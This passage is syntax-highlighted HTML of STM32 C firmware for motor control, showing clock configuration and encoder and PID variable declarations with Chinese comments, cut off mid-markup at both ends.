class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Infinite loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief System Clock Configuration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitTypeDef\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitTypeDef\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Supply configuration update enable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_PWREx_ConfigSupply\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_LDO_SUPPLY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Configure the main internal regulator output voltage\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__HAL_PWR_VOLTAGESCALING_CONFIG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_REGULATOR_VOLTAGE_SCALE3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nf\"\u003e__HAL_PWR_GET_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_FLAG_VOSRDY\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Initializes the RCC Oscillators according to the specified parameters\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * in the RCC_OscInitTypeDef structure.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOscillatorType\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_OSCILLATORTYPE_HSI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHSIState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HSI_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHSICalibrationValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HSICALIBRATION_DEFAULT\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL_ON\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLSource\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLLSOURCE_HSI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLM\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLQ\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLR\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLRGE\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL1VCIRANGE_3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLVCOSEL\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL1VCOMEDIUM\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLFRACN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3072\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eHAL_RCC_OscConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eHAL_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Initializes the CPU, AHB and APB buses clocks\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eClockType\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_HCLK\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_SYSCLK\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_PCLK1\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_PCLK2\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_D3PCLK1\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_D1PCLK1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSYSCLKSource\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_SYSCLKSOURCE_PLLCLK\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSYSCLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_SYSCLK_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAHBCLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HCLK_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB3CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB3_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB1CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB1_DIV2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB2CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB2_DIV2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB4CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB4_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eHAL_RCC_ClockConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFLASH_LATENCY_1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eHAL_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 4 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里定义一些变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 电机转一圈所需的Encoder读数累和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1440\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标速度 Encoder读出的真实速度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标位置总读数和 实际位置读数和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 给电机的PWM设定的占空比数值(这里需要每次累加,因为使用的是增程式pid)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Encoder tim 开启解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 